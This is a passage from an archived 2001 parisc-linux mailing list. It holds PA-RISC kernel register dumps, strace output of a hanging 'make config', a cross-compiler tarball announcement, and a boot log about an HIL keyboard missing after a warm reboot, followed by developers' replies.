IASQ: 000004e1 000004e1 IAOQ: bff025a7 bff0281f
 IIR: 00000002    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 2ca84000 CR31: 10358000
 ORIG_R28: 40176434
break 0x000002: pid=331 command='make'

[the above was repeated exactly the same some 10 times]

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000000001111
r0-3	 00000000 fffff000 bff02dd8 bff02ae0
r4-7	 4017e57c bff02b68 00000002 bff022d0
r8-11	 00000001 bff022c8 000401ec bff02460
r12-15	 00000028 00000029 bff02360 00000002
r16-19	 00000000 00043130 0002a800 4017e57c
r20-23	 000000ad 4006b7ec bff030a8 00000008
r24-27	 00000000 00000001 0000014b 00040130
r28-31	 00000000 0004b6d8 bff03058 4006b7f7
sr0-3	 000004e1 000004e1 00000000 000004e1
sr4-7	 000004e1 000004e1 000004e1 000004e1

IASQ: 000004e1 000004e1 IAOQ: bff02de3 bff02de7
 IIR: 00000000    ISR: 10240072  IOR: a12842c8
 CPU:        0   CR30: 2ca84000 CR31: 10358000
 ORIG_R28: 0000014b
break 0x000002: pid=341 command='make'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000011101111111100001111
r0-3	 00000000 00040130 bff02598 bff024e8
r4-7	 000000c8 40176434 0004b6e0 bff022d0
r8-11	 00000001 bff022c8 000401ec bff02460
r12-15	 00000028 00000029 bff02360 00000002
r16-19	 00000000 00043130 0002a800 00000000
r20-23	 000000ad 40106c54 40178e50 40178e30
r24-27	 00000005 00000001 00000000 00040130
r28-31	 fffffffc 0004b6d8 bff02818 00019ca7
sr0-3	 00000000 00000506 00000000 00000506
sr4-7	 00000506 00000506 00000506 00000506

IASQ: 00000506 00000506 IAOQ: bff025a7 bff0281f
 IIR: 00000002    ISR: 1024005e  IOR: 6c8402b4
 CPU:        0   CR30: 279c4000 CR31: 10358000
 ORIG_R28: 40176434
break 0x000002: pid=350 command='make'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000011101111111100001111
r0-3	 00000000 00040130 bff02598 bff024e8
r4-7	 000000c8 40176434 0004b6e0 bff022d0
r8-11	 00000001 bff022c8 000401ec bff02460
r12-15	 00000028 00000029 bff02360 00000002
r16-19	 00000000 00043130 0002a800 00000000
r20-23	 000000ad 40106c54 40178e50 40178e30
r24-27	 00000005 00000001 00000000 00040130
r28-31	 fffffffc 0004b6d8 bff02818 00019ca7
sr0-3	 00000000 0000052b 00000000 0000052b
sr4-7	 0000052b 0000052b 0000052b 0000052b

IASQ: 0000052b 0000052b IAOQ: bff025a7 bff0281f
 IIR: 00000002    ISR: 10240076  IOR: 890402b4
 CPU:        0   CR30: 2d27c000 CR31: 10358000
 ORIG_R28: 40176434
break 0,0: pid=357 command='make'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111
r0-3	 00000000 00040130 bff026d8 00000000
r4-7	 4017e57c 40176434 0004b6e0 00000000
r8-11	 00000000 bff022c8 000401ec bff02460
r12-15	 00000028 00000029 00000001 00040130
r16-19	 00040130 00000001 00000000 00000000
r20-23	 000000ad 400e220c 40178e50 00000000
r24-27	 00000005 00000001 00000000 00040130
r28-31	 0000016b 0004b6d8 bff02958 00019ca7
sr0-3	 00000000 00000547 00000000 00000547
sr4-7	 00000547 00000547 00000547 00000547

IASQ: 00000547 00000547 IAOQ: bff026e3 bff026e7
 IIR: 00000000    ISR: 10240076  IOR: 460402b4
 CPU:        0   CR30: 2d27c000 CR31: 10358000
 ORIG_R28: 00000000
break 0x000002: pid=364 command='make'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000011101111111100001111
r0-3	 00000000 00040130 bff02598 bff024e8
r4-7	 000000c8 40176434 0004b600 bff022d0
r8-11	 00000001 bff022c8 000401ec bff02460
r12-15	 00000028 00000029 bff02360 00000002
r16-19	 00000000 00043130 0002a800 00000000
r20-23	 000000ad 40106c54 40178e50 40178e30
r24-27	 00000005 00000001 00000000 00040130
r28-31	 fffffffc 0004b5f8 bff02818 00019ca7
sr0-3	 00000000 00000563 00000000 00000563
sr4-7	 00000563 00000563 00000563 00000563

IASQ: 00000563 00000563 IAOQ: bff025a7 bff0281f
 IIR: 00000002    ISR: 10240075  IOR: 3b0402b4
 CPU:        0   CR30: 2d27c000 CR31: 10358000
 ORIG_R28: 40176434
break 0x000002: pid=371 command='make'

These bffxxxxx addresses are not in the kernel, correct?

Greetings,
Jurriaan




From - Thu Nov 08 21:19:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New i386 cross compilers
Date: Fri, 07 Sep 2001 22:05:16 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20010908040516.1AA5637DD4@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620469 25140 80.91.229.3 (22 Nov 2014 01:41:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:09 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  7 22:05:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91AF8482A
	for <parisc-linux@parisc-linux.org>; Fri,  7 Sep 2001 22:05:19 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP id 6442B1F54F
	for <parisc-linux@parisc-linux.org>; Sat,  8 Sep 2001 00:05:16 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 1AA5637DD4
	for <parisc-linux@parisc-linux.org>; Fri,  7 Sep 2001 22:05:16 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:12147

Hi palinux people,

I have built a new i386 to hppa/hppa64 cross compiler tarball and placed it at,

ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20010905.tar.gz

Untar it from / it lives in /opt/palinux/
Report any problems to the list.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:19:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randall Craig <randall@tdl.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] fork does not return signal with make
Date: Sat, 8 Sep 2001 03:27:36 -0700
Lines: 171
Approved: news@gmane.org
Message-ID: <20010908032736.A15589@tdl.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620469 25144 80.91.229.3 (22 Nov 2014 01:41:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  8 04:38:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tdl.com (tdl.com [206.180.224.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 254D5482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Sep 2001 04:38:12 -0600 (MDT)
Original-Received: (from randall@localhost)
	by tdl.com (8.9.3/8.9.3) id DAA15837
	for parisc-linux@lists.parisc-linux.org; Sat, 8 Sep 2001 03:27:37 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:12148

I tried to do make config on the linux-2.4.9-pa17 kernel tree using the pa17
kernel, which resulted in:

This is on a C240.

execve("/usr/bin/make", ["make", "config"], [/* 18 vars */]) = 0
newuname({sys="Linux", node="agaricus", ...}) = 0
brk(0)                                  = 0x44000
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
idle()                                  = 0
mmap(NULL, 8081, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40019000
close(3)                                = 0
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\2\300"..., 1024) = 1024
idle()                                  = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001b000
mmap(NULL, 1417616, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4002a000
mprotect(0x40167000, 119184, PROT_NONE) = 0
mmap(0x40176000, 45056, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0x13c000) = 0x40176000
mmap(0x40181000, 12688, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40181000
close(3)                                = 0
mprotect(0x10000, 135168, PROT_READ|PROT_WRITE) = 0
mprotect(0x10000, 135168, PROT_READ|PROT_EXEC) = 0
munmap(0x40019000, 8081)                = 0
getpid()                                = 383
brk(0)                                  = 0x44000
brk(0x44030)                            = 0x44030
brk(0x45000)                            = 0x45000
rt_sigaction(SIGHUP, {0x40c2e, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGQUIT, {0x40c2e, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGINT, {0x40c2e, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGTERM, {0x40c2e, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGXCPU, {0x40c2e, [HUP], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGXFSZ, {0x40c2e, [INT], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGCHLD, {SIG_DFL}, {SIG_DFL}, 8) = 0
getcwd("/usr/src/linux-pa17", 4095)     = 20
ioperm(0x2cee4, 0xfaf01cc8, 0xfaf01cc8) = 0
ioperm(0x2cef4, 0xfaf01cc8, 0xfaf01cc8) = -1 ENOENT (No such file or directory)
ioperm(0x2cf08, 0xfaf01cc8, 0xfaf01cc8) = 0
ioperm(0x2cee4, 0xfaf01cc8, 0xfaf01cc8) = 0
rt_sigaction(SIGCHLD, {0x40dae, [], SA_INTERRUPT}, NULL, 8) = 0
rt_sigaction(SIGUSR1, {0x40ace, [], SA_RESTART}, {SIG_DFL}, 8) = 0
brk(0x46000)                            = 0x46000
brk(0x47000)                            = 0x47000
brk(0x48000)                            = 0x48000
ioperm(0x2aabc, 0xfaf01e08, 0xfaf01e08) = 0
open(".", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3
idle()                                  = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
brk(0x4a000)                            = 0x4a000
SYS_201(0x3, 0x47f80, 0x1000, 0xd78beec7, 0) = 928
SYS_201(0x3, 0x47f80, 0x1000, 0x40178ca8, 0x3a0) = 0
close(3)                                = 0
open("Makefile", O_RDONLY|O_LARGEFILE)  = 3
idle()                                  = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40019000
read(3, "VERSION = 2\nPATCHLEVEL = 4\nSUBLE"..., 4096) = 4096
pipe([4, 5])                            = 0
fork()                                  = 384
close(5)                                = 0
read(4, "parisc\n", 200)                = 7
read(4, "\230", 193)                    = -512
--- SIGCHLD (Child exited) ---
rt_sigreturn(0)                         = -1 EINTR (Interrupted system call)
read(4, "", 193)                        = 0
close(4)                                = 0
wait4(-1, [WIFEXITED(s) && WEXITSTATUS(s) == 0], 0, NULL) = 384
pipe([4, 5])                            = 0
fork()                                  = 387
close(5)                                = 0
read(4, "/bin/sh\n", 200)               = 8
read(4, "", 192)                        = -512
--- SIGCHLD (Child exited) ---
rt_sigreturn(0)                         = -1 EINTR (Interrupted system call)
read(4, "", 192)                        = 0
close(4)                                = 0
wait4(-1, [WIFEXITED(s) && WEXITSTATUS(s) == 0], 0, NULL) = 387
pipe([4, 5])                            = 0
fork()                                  = 388
--- SIGCHLD (Child exited) ---
rt_sigreturn(0)                         = 388
close(5)                                = 0
read(4, "/usr/src/linux-pa17\n", 200)   = 20
read(4, "", 180)                        = 0
close(4)                                = 0
wait4(-1, [WIFEXITED(s) && WEXITSTATUS(s) == 0], 0, NULL) = 388
open(".config", O_RDONLY|O_LARGEFILE)   = 4
idle()                                  = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001a000
read(4, "#\n# Automatically generated by m"..., 4096) = 4096
brk(0x4b000)                            = 0x4b000
read(4, "CONFIG_SCSI_EATA_DMA is not set\n"..., 4096) = 4096
read(4, "PAD is not set\n\n#\n# Joysticks\n#\n"..., 4096) = 4096
brk(0x4c000)                            = 0x4c000
read(4, "#\n\n#\n# Frame-buffer support\n#\n# "..., 4096) = 1077
read(4, "", 4096)                       = 0
close(4)                                = 0
munmap(0x4001a000, 4096)                = 0
open(".depend", O_RDONLY|O_LARGEFILE)   = 4
idle()                                  = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001a000
read(4, "init/main.o: init/main.c \\\n   /u"..., 4096) = 2847
brk(0x4d000)                            = 0x4d000
brk(0x4e000)                            = 0x4e000
ioperm(0xfaf02268, 0xfaf02310, 0xfaf02310) = -1 ENOENT (No such file or directory)
ioperm(0xfaf02268, 0xfaf02308, 0xfaf02308) = -1 ENOENT (No such file or directory)
ioperm(0xfaf02268, 0xfaf02310, 0xfaf02310) = -1 ENOENT (No such file or directory)
ioperm(0xfaf02268, 0xfaf02310, 0xfaf02310) = -1 ENOENT (No such file or directory)
ioperm(0xfaf02268, 0xfaf02310, 0xfaf02310) = -1 ENOENT (No such file or directory)
ioperm(0xfaf02268, 0xfaf02310, 0xfaf02310) = -1 ENOENT (No such file or directory)
ioperm(0xfaf02268, 0xfaf02318, 0xfaf02318) = -1 ENOENT (No such file or directory)
ioperm(0xfaf02268, 0xfaf02318, 0xfaf02318) = -1 ENOENT (No such file or directory)
ioperm(0xfaf02268, 0xfaf02310, 0xfaf02310) = -1 ENOENT (No such file or directory)
brk(0x4f000)                            = 0x4f000
read(4, "", 4096)                       = 0
close(4)                                = 0
munmap(0x4001a000, 4096)                = 0
read(3, "+= drivers/scsi/scsidrv.o\nDRIVER"..., 4096) = 4096
brk(0x50000)                            = 0x50000
open("arch/parisc/Makefile", O_RDONLY|O_LARGEFILE) = 4
idle()                                  = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001a000
read(4, "#\n# parisc/Makefile\n#\n# This fil"..., 4096) = 3156
pipe([5, 6])                            = 0
fork()                                  = 389
close(6)                                = 0
read(5, "parisc\n", 200)                = 7
read(5, "", 193)                        = 0
close(5)                                = 0
wait4(-1, [WIFEXITED(s) && WEXITSTATUS(s) == 0], 0, NULL) = 389
--- SIGCHLD (Child exited) ---
rt_sigreturn(0)                         = 389
rt_sigreturn(0)                         = 389
(repeated many times)

-------------------------------------------------------------------------

doing this with the 2.4.0 kernel did not cause this error...


execve("/usr/bin/make", ["make", "config"], [/* 21 vars */]) = 0
newuname({sys="Linux", node="agaricus", ...}) = 0
brk(0)                                  = 0x44000
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)

...

mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001a000
read(4, "#\n# parisc/Makefile\n#\n# This fil"..., 4096) = 3156
pipe([9, 10])                           = 0
fork()                                  = 1305
--- SIGCHLD (Child exited) ---
rt_sigreturn(0)                         = 1305
close(10)                               = 0
read(9, "parisc\n", 200)                = 7
read(9, "", 193)                        = 0
close(9)                                = 0
wait4(-1, [WIFEXITED(s) && WEXITSTATUS(s) == 0], 0, NULL) = 1305
brk(0x58000)                            = 0x58000
read(4, "", 4096)                       = 0
(program continues)

Maybe one of you knows what is going on.

Cheers,

Randall




From - Thu Nov 08 21:19:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randall Craig <randall@tdl.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fork does not return signal with make
Date: Sat, 8 Sep 2001 03:36:23 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20010908033623.B15589@tdl.com>
References: <20010908032736.A15589@tdl.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620469 25146 80.91.229.3 (22 Nov 2014 01:41:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  8 04:46:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tdl.com (tdl.com [206.180.224.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 299FA482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Sep 2001 04:46:59 -0600 (MDT)
Original-Received: (from randall@localhost)
	by tdl.com (8.9.3/8.9.3) id DAA16004
	for parisc-linux@lists.parisc-linux.org; Sat, 8 Sep 2001 03:36:24 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010908032736.A15589@tdl.com>; from randall@tdl.com on Sat, Sep 08, 2001 at 03:27:36AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:12149

Unlike Jurriaan's Trace/Breakpoint trap.  Mine does not
crash the OS or write to syslog.

cheers,

Randall




From - Thu Nov 08 21:19:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fork does not return signal with make
Date: Sat, 8 Sep 2001 12:47:03 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <20010908124703.A16017@middle.of.nowhere>
References: <20010908032736.A15589@tdl.com>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620470 25150 80.91.229.3 (22 Nov 2014 01:41:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randall Craig <randall@tdl.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  8 04:47:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.127.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30A2F482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Sep 2001 04:47:21 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp1.xs4all.nl (8.9.3/8.9.3) with ESMTP id MAA24560
	for <parisc-linux@lists.parisc-linux.org>; Sat, 8 Sep 2001 12:47:16 +0200 (CEST)
Original-Received: (qmail 11190 invoked from network); 8 Sep 2001 10:47:05 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 8 Sep 2001 10:47:05 -0000
Original-Received: (qmail 16549 invoked by uid 500); 8 Sep 2001 10:47:03 -0000
Content-Disposition: inline
In-Reply-To: <20010908032736.A15589@tdl.com>
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12150

On Sat, Sep 08, 2001 at 03:27:36AM -0700, Randall Craig wrote:
> I tried to do make config on the linux-2.4.9-pa17 kernel tree using the pa17
> kernel, which resulted in:
> 
> This is on a C240.
> 
> read(5, "parisc\n", 200)                = 7
> read(5, "", 193)                        = 0
> close(5)                                = 0
> wait4(-1, [WIFEXITED(s) && WEXITSTATUS(s) == 0], 0, NULL) = 389
> --- SIGCHLD (Child exited) ---
> rt_sigreturn(0)                         = 389
> rt_sigreturn(0)                         = 389
> (repeated many times)
> 
> Maybe one of you knows what is going on.
> 
I don't, but I can tell you I have the same problems on my C200 with the
same kernel - check out the whole 'Trace/breakpoint' thread.

Jurriaan
-- 
Besides, if a shitty disease and a rotten planet like this couldn't beat
us, a bunch of walking appliances with attitude isn't going to do it.
	Simon R Green - Deathstalker Honour
GNU/Linux 2.4.9-ac9 SMP/ReiserFS 2x1402 bogomips load av: 0.00 0.07 0.10




From - Thu Nov 08 21:19:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HIL-Keyboard not found after reboot
Date: Sun, 09 Sep 2001 14:50:29 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <3B9B6595.9000603@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620470 25153 80.91.229.3 (22 Nov 2014 01:41:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  8 06:51:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx04.nexgo.de (mx04.nexgo.de [151.189.8.80])
	by dsl2.external.hp.com (Postfix) with ESMTP id 13445482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Sep 2001 06:51:02 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (unknown [145.254.203.173])
	by mx04.nexgo.de (Postfix) with ESMTP id 42D5E2F85E
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Sep 2001 14:50:59 +0200 (CEST)
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.3) Gecko/20010801
X-Accept-Language: en-us
Xref: news.gmane.org gmane.linux.ports.parisc:12151

Hi all,
I just compilied the new kernel (2.4.9-pa16), and noticed that after 
rebooting my machine via "reboot" my PS/2-Keyboard on the HIL-Adptorbox 
isn't recognized anymore. Switching the machine off and on, makes 
Keyboard visible again. Here are the important lines from bootlog:

SNIP---
Searching for devices...
Found devices:
1. Coral SGC Graphics (10) at 0xf4000000, versions 0x4, 0x0, 0x77
2. Mirage GSC Builtin Graphics (10) at 0xf8000000, versions 0x13, 0x0, 0x85
3. Mirage Core BA (11) at 0xf0100000, versions 0x29, 0x0, 0x81
4. Mirage Core SCSI (10) at 0xf0106000, versions 0x29, 0x0, 0x82
5. Mirage Core LAN (802.3) (10) at 0xf0107000, versions 0x29, 0x0, 0x8a
6. Mirage Core RS-232 (10) at 0xf0105000, versions 0x29, 0x0, 0x8c
7. Mirage Core Centronics (10) at 0xf0102000, versions 0x29, 0x0, 0x74
8. Mirage Audio (10) at 0xf0104000, versions 0x29, 0x0, 0x7b
9. Mirage Core PC Floppy (10) at 0xf010a000, versions 0x29, 0x0, 0x83
10. Mirage Core PS/2 Port (10) at 0xf0108000, versions 0x29, 0x0, 0x84
11. Mirage Core PS/2 Port (10) at 0xf0108100, versions 0x29, 0x0, 0x84
12. Mirage Wax BA (11) at 0xf0200000, versions 0x13, 0x0, 0x8e
13. Mirage 100 Wax HIL (10) at 0xf0201000, versions 0x13, 0x0, 0x73
14. Mirage Wax RS-232 (10) at 0xf0202000, versions 0x13, 0x0, 0x8c
15. Mirage 100 (0) at 0xfffbe000, versions 0x60b, 0x0, 0x4
16. Mirage 100 (1) at 0xfffbf000, versions 0x4b, 0x0, 0x9
That's a total of 16 devices.
CPU(s): 1 x PA7100LC (PCX-L) at 100.000000 MHz
Kernel command line: root=/dev/sda4 HOME=/ TERM=linux console=ttyS0
Console: colour dummy device 160x64
Calibrating delay loop... 99.73 BogoMIPS
Memory: 126164k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
Mount-cache hash table entries: 2048 (order: 2, 16384 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xf0100000 found.
LED display at f00e0000 registered
Wax at 0xf0200000 found.
Wax: HIL Keyboard-NMI registered.
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
VFS: Diskquotas version dquot_6.4.0 initialized
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ 
SERIAL_PCI en
abled
ttyS00 at iomem 0xf0105800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0202800 (irq = 121) is a 16550A
PS/2 keyboard port at 0xf0108000 (irq 69) found, no device attached.
PS/2 psaux port at 0xf0108100 (irq 69) found, no device attached.
Found HIL at 0xf0201000, IRQ 126
HIL: no keyboard present.
Warning : device (10, 0x13, 0x0, 0x73) NOT claimed by HIL
SNAP---

and after a coldboot the last lines are:
SNIP------
Found HIL at 0xf0201000, IRQ 126
HIL: keyboard found at id 0
HIL: keymap loaded.
SNAP-----

Has anyone a solution?
So long,
            Rdiger





From - Thu Nov 08 21:19:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New i386 cross compilers
Date: Sat, 8 Sep 2001 15:29:13 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20010908152913.B9613@megatonmonkey.net>
References: <20010908040516.1AA5637DD4@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620470 25155 80.91.229.3 (22 Nov 2014 01:41:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:10 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  8 13:28:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9A8E8484A
	for <parisc-linux@parisc-linux.org>; Sat,  8 Sep 2001 13:28:24 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f88JZPG23493;
	Sat, 8 Sep 2001 15:35:25 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f88JTD410188;
	Sat, 8 Sep 2001 15:29:13 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Matt Taggart <taggart@carmen.fc.hp.com>,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010908040516.1AA5637DD4@carmen.fc.hp.com>; from taggart@carmen.fc.hp.com on Fri, Sep 07, 2001 at 10:05:16PM -0600
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:12152

> Hi palinux people,
> 
> ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20010905.tar.gz
> 
> Untar it from / it lives in /opt/palinux/
> Report any problems to the list.
> 
> Thanks,
>

Matt,

What glibc did you use to build the cross compiler? (2.2.4-1 or earlier?)
Would you mind elucidating on the build process?

Cheers,
Carlos.




From - Thu Nov 08 21:19:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Timothy Ball <timball@tux.org>
